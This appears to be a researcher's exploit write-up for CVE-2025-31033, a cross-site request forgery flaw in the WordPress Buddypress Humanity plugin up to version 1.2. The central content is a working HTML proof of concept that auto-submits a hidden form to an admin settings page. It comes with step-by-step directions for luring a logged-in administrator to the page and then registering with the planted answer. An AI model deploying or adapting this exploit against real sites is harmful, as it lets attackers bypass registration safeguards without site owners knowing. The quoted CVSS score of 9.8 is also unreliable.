⚠️ CVE-2025-31033 - CSRF in WordPress Buddypress Humanity Plugin <= 1.2

🛡️ Vulnerability Summary

The Buddypress Humanity plugin for WordPress (version <= 1.2) is vulnerable to Cross-Site Request Forgery (CSRF).
This vulnerability allows an attacker to force a higher privileged user (e.g., admin) to unknowingly modify plugin settings (such as the security question and answer), bypassing user verification logic.

🐞 Vulnerability Type

Cross Site Request Forgery (CSRF)
Component Affected: bph-settings page (admin only)
CVE: CVE-2025-31033
Risks CVSS 9.8

🚨 Impact

If exploited successfully, this vulnerability allows attackers to:

Change the security question and answer used during user registration
Bypass humanity verification by knowing the new answer
Automate user registration (possibly combined with privilege escalation)
Abuse registration form protections without user interaction

🎯 Affected Plugin

Name: Buddypress Humanity
Version: ≤ 1.2
Slug: buddypress-humanity
Tested on: WordPress 6.x + BuddyPress active

💥 Proof of Concept (HTML Exploit)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Exploit – CVE-2025-31033</title>
</head>
<body onload="document.forms[0].submit();">
  <form action="http://target.com/wp-admin/admin.php?page=bph-settings" method="POST">
    <input type="hidden" name="bph_option[bph_title]" value="Nxploited">
    <input type="hidden" name="bph_option[bph_question]" value="I’m Nxploited | Khaled Alenazi">
    <input type="hidden" name="bph_option[bph_answers]" value="Nxploit">
    <input type="hidden" name="bph_submit" value="1">
  </form>
</body>
</html>

☠️ Once this page is opened by an authenticated admin, it silently modifies the plugin settings.

🔧 How to Exploit

Host the PoC HTML on any external server.
Trick a logged-in WordPress admin into visiting the page.
Upon visit, their browser will silently submit the form.
The plugin's security question and answer will be updated.
The attacker can now register using the known answer.

🧪 Successful Exploitation Results In:

Modified question: I’m Nxploited | Khaled Alenazi
Modified answer: Nxploit
Any user who inputs "Nxploit" will bypass verification.

⚠️ Disclaimer

This proof of concept is for educational purposes only.
Use responsibly and do not test on systems you do not own.
The author is not responsible for any misuse or damage caused.

👤 By

Nxploited | Khaled Alenazi

CVE-2025-31033

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